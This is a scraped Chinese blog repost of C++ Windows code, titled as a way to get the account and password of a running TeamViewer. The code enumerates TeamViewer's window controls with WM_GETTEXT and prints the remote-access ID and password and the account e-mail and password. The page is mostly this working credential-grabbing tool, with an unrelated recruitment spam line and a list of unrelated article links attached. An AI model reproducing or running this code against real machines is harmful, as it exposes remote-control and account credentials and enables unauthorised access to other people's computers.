2019独角兽企业重金招聘Python工程师标准>>>

#define WIN32_LEAN_AND_MEAN
#include <windows.h>
#include <iostream>
#include <string.h>
#pragma comment( lib, "kernel32" )
#pragma comment( lib, "user32" ) int status = 0; BOOL CALLBACK EnumMainTVWindow(HWND hwnd, LPARAM lParam)
{ const int BufferSize = 1024; char BufferContent[BufferSize] = ""; SendMessage(hwnd, WM_GETTEXT, (WPARAM)BufferSize, (LPARAM)BufferContent); if (status == 1) { printf("%s\n", BufferContent); status = 0; } if (strstr(BufferContent, "允许远程控制") != NULL) { status = 1; printf("TeamViewer ID: "); } if (strstr(BufferContent, "告诉你的伙伴") != NULL) { status = 1; printf("TeamViewer PASS: "); } return 1;
} BOOL CALLBACK EnumAccountWindow(HWND hwnd, LPARAM lParam)
{ const int BufferSize = 1024; char BufferContent[BufferSize] = ""; SendMessage(hwnd, WM_GETTEXT, (WPARAM)BufferSize, (LPARAM)BufferContent); if (status == 1) { printf("%s\n", BufferContent); status = 0; } if (strstr(BufferContent, "电子邮件") != NULL) { status = 1; printf("E-mail: "); } if (strstr(BufferContent, "密码") != NULL) { status = 1; printf("Password: "); } return 1;
} int main()
{ HWND hwndTeamViewer = FindWindow(NULL, "TeamViewer"); if (hwndTeamViewer) { EnumChildWindows(hwndTeamViewer, EnumMainTVWindow, 0); } HWND hwndAccount = FindWindow(NULL, "计算机和联系人"); if (hwndAccount) { EnumChildWindows(hwndAccount, EnumAccountWindow, 0); } return 0;
}

转载于:https://my.oschina.net/Customs/blog/504752

获取运行中的TeamViewer的账号和密码--中文版相关推荐

  1. Android5.1.+ getRunningAppProcesses()获取运行中进程(第三方开源库)

    google可能为了安全考虑,在5.1.+后调用activitymanager.getRunningAppProcesses()方法只能返回你自己应用的进程,那如何在5.1.+后获取运行中进程呢?一个 ...

  2. 获取运行中的Word,excel对象

    参考 获取运行中的Word对象:https://blog.csdn.net/seker_2006/article/details/1335702 PPT在CreateDispatch _T(" ...

  3. 获取运行中的Word对象

    程序需要获取鼠标下已打开Word的内容,只要获取_Application的接口就可以了.搞了半天,终于知道使用AccessibleObjectFromWindow函数可以实现.MSDN上讲的不清楚,还 ...

  4. 浏览器获取设备信息_一条命令获取 IE 浏览器保存网站的账号和密码信息

    渗透攻击红队 一个专注于红队攻击的公众号 大家好,这里是 渗透攻击红队 的第 41 篇文章,本公众号会记录一些我学习红队攻击的复现笔记(由浅到深),不出意外每天一更 Powershell 内网渗透一直 ...

  5. Linux中用户账号和组账号的介绍

    用户账号和组账号概述:       众所周知,Linux是基于用户身份对资源进行访问控制的.       用户账号:     超级用户:root     普通用户:普通用户账号一般只能在自己的宿主目录 ...

  6. 【Android实战】保存QQ账号与密码

    大家好,我是汤姆凯特. 写在前面:今天用保存QQ账号和密码的实战演练,带大家掌握Android存储中最基本的文件存储方式 文件存储是Android中最基本的一种数据存储方式,它与Java中的文件存储类 ...

  7. 《Android移动应用基础教程》之保存QQ账号和密码

    FileSaveQQ.java package njitt.software.saveqq;import android.content.Context;import java.io.FileInpu ...

  8. android 帐号密码xml,《Android移动应用基础教程》之保存QQ账号和密码

    FileSaveQQ.java package njitt.software.saveqq; import android.content.Context; import java.io.FileIn ...

  9. Android实战——保存账号与密码

    目录 实现效果 1.创建程序 2.布局activity_main.xml文件 3.创建工具类FileSaveQQ 4.在MainActivity编写界面交互代码 实现效果 1.创建程序 创建一个名为S ...

最新文章

  1. SAP WM LT10事务代码的一个坑?
  2. #ifdef _DEBUG
  3. 计算机学院可以表演的小品,中央戏剧学院小品表演真题之单人小品
  4. docker二进制代码编译
  5. Linux和Windows下部署BeetleX服务网关
  6. 基于Redis的消息队列php-resque
  7. bootstrap学习笔记(2)表单设计
  8. L1-016. 查验身份证-PAT团体程序设计天梯赛GPLT
  9. java核心基础 --- 基本数据类型
  10. php单独使用blade模板引擎,laravel 基础教程 —— Blade 模板引擎
  11. java中map函数指针_如何用Rust编写合适的map函数?
  12. 【转载】为什么要用黑莓?
  13. 【Java_Spring】控制反转IOC(Inversion of Control)
  14. python开源IP代理池--IPProxys
  15. 高数 | 导数极限定理、分段点求导能不能用公式?导数和导数的极限?
  16. excel后几位数字自动变成000
  17. 2022爱分析· 隐私计算厂商全景报告 | 爱分析报告
  18. vsFTP 基础及实战
  19. JavaSE-Adventure(VII) Java OOP 面向对象程序设计
  20. 简易费诺算法的C语言实现

热门文章

  1. Linux系统16进制形式查看二进制文件
  2. java 网络编程简单聊天_网络编程之 TCP 实现简单聊天
  3. hbase建索引java api_hbase java api样例(版本1.3.1,新API)
  4. mysql本周函数_MySQL的YEARWEEK函数以及查询本周数据_MySQL
  5. 千言万语汇总的Mybatis-plus常用API全套教程
  6. 千言万句,Nginx从入门到精通,看这一篇足矣
  7. 面试官:哪些原因会导致JAVA进程退出?
  8. nginx 反向代理和负载均衡
  9. Swift的Guard语句
  10. 替换功能replaceAll